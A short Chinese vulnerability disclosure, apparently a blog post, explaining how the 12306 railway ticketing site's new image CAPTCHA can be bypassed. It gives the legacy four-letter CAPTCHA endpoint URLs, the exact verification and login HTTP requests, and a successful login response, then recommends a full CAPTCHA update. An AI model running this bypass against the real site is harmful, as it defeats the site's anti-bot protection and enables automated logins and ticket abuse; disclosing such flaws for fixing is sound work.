新的选择图片验证码确实比之前的4个字母的验证码难度高, 中文识别也有难度, 但是目前发现12306的新图片选择验证码有可绕过的漏洞, 应该是更新不全面造成的漏洞.
12306 新的图片验证码可以被绕过, 可以继续用老的4字母验证码登陆12306 .
老的4字母验证码比较容易电脑识别, 可以用注册或其他验证码接口直接登录.
漏洞1:
https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=regist&rand=sjrand&0.54322674895787
漏洞2:
https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=other&rand=sjrand&0.36124213441517
变换moudle,即可获取不同操作的验证码,如订单是 passenger 。
这两个连接可以获取4字母验证码, 12306登陆接口可以用这里识别的验证码直接登录. 这个情况下, 新的图片验证码形同虚设.
1. 先获取验证码(老的4字母验证码)
GET https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=regist&rand=sjrand&0.54322674895787 HTTP/1.1
2. 电脑识别验证码, 检查验证码正确
POST https://kyfw.12306.cn/otn/passcodeNew/checkRandCodeAnsyn HTTP/1.1
randCode=9npm&rand=sjrand&randCode_validate=
3. Post到Login网址, 即可登陆
POST https://kyfw.12306.cn/otn/login/loginAysnSuggest HTTP/1.1
loginUserDTO.user_name=xxxx&userDTO.password=xxxx&randCode=9npm&randCode_validate=&MTA4OTAx=Yzk1NzdkZGMwZTBiYTE4Nw==&myversion=undefined
{"validateMessagesShowId":"_validatorMessage","status":true,"httpstatus":200,"data":{"loginCheck":"Y"},"messages":[],"validateMessages":{}}
完全没用到选择图片的验证码.
解决方案:
建议全面更新验证码, 排查老验证码漏洞.